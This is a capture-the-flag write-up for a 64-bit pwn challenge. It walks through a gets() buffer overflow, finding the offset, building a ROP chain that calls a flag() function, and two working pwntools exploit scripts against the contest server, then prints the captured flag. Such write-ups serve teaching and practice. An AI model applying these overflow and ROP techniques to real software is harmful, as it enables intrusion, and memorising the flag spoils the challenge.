# Pwn - really obnoxious problem

## Description

You know the drill.

## Downloads

{% file src="<https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FdiHTjatCyJsAFmJRGLtW%2Freally_obnoxious_problem?alt=media&token=9f3114c3-f354-4e2a-8a26-8717b78db2d7>" %}

## Solution

Didn't manage to solve this during the CTF but I should have.

The program is quite straightforward,

<div align="left"><img src="https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FKy6SwA1Dyd44ihjyEGK7%2Fimage.png?alt=media&#x26;token=4619b845-ab68-475a-8586-bb8376712ed8" alt=""></div>

We have a buffer overflow in `gets()` because there is no boundary check. We shall use a cyclic pattern to find out what is the offset required to control `rip`.

`msf-pattern_create -l 200` to generate the cyclic pattern:

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FnW2vTpSAOvEoPIEHP0qR%2Fimage.png?alt=media\&token=05023cf2-40a9-44af-ab8f-2db0f0b95e5e)

Using `gdb`, we find out what is in the ret address:&#x20;

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FLsFxQrjEuV0iMUPBfoPn%2Fimage.png?alt=media\&token=0f8a793e-f2cb-480c-96a7-b6f28d00601b)

`msf-pattern_offset -l 200 -q 6341356341346341` to find the offset.

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FPB4r9z2p1A4urOlLrlXP%2Fimage.png?alt=media\&token=0a3f66e6-6ff4-4e13-ab30-64d393619c59)

Now we have control over `rip`, it is time to find the "win" function and conveniently we have the `flag()` function available.

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2Fq1iExiaVv87MDAuDxQw1%2Fimage.png?alt=media\&token=8c99aafe-6698-4a35-b1ef-aeb41fa0810a)

To "win", we need to pass in 2 arguments before calling the function and this can be done with a ROP chain. In Linux x64 calling convention, the function arguments are passed via `rdi`, `rsi`, `rdx`, `rcx`, `r8`, `r9` registers.

`ROPgadget --binary ./really_obnoxious_problem --ropchain` to find the ROP gadgets.

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2F4CRhC3QsRNCcaunJwrR3%2Fimage.png?alt=media\&token=a419cafb-01ac-4c70-8da4-c0ad979597f6)

We have found 2 useful gadgets, `pop rdi; ret` and `pop rsi; pop r15; ret`.

Next we want to find the address of "bobby" which we want to populate the second argument with. This can be done from Ghidra itself.

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FIyPC3Q0V2SLxMlWTiEn5%2Fimage.png?alt=media\&token=6d4e3472-4087-4c33-9837-b46b355ba730)

Now that we have everything we need, let's try to craft the exploit.

```python
from pwn import *
context.log_level = 'debug'

r = remote("challs.actf.co", 31225)
#r = process("./really_obnoxious_problem")

arg1 = p64(0x1337)
arg2 = p64(0x402004)

pop_rdi = p64(0x4013f3)
pop_rsi_r15 = p64(0x4013f1)

flag = p64(0x401256)

payload = b'A' * 72
payload += pop_rdi
payload += arg1
payload += pop_rsi_r15
payload += arg2
payload += p64(0x0)
payload += flag

r.sendlineafter(b'Name: ', b'A')
r.sendlineafter(b'Address: ', payload)
r.interactive()
r.close()
```

![](https://4077916634-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2F9J6tnLQGbY0Or10P4xUT%2Fuploads%2FUf6w7XzGATKP5O4tE5af%2Fimage.png?alt=media\&token=ca79e426-aca2-413d-880b-56d8181e379c)

Flag: `actf{so_swe3t_so_c0ld_so_f4ir_7167cfa2c019}`

## Bonus

Instead of doing all the hard work of finding the ROP gadgets and stuff `pwntools` can actually do most of the heavy lifting for us.

```python
from pwn import *

r = remote("challs.actf.co", 31225)
elf = context.binary = ELF("./really_obnoxious_problem")
context.log_level = 'debug'

offset = 72

# Create ROP object
rop = ROP(elf)

rop.flag(0x1337, next(elf.search(b'bobby')))

# Build the payload
payload = flat({
	offset: [
		rop.chain()
	]
})

# Send payload
r.sendlineafter(b'Name: ', b'A')
r.sendlineafter(b'Address: ', payload)

# Get flag
r.interactive()
r.close()
```
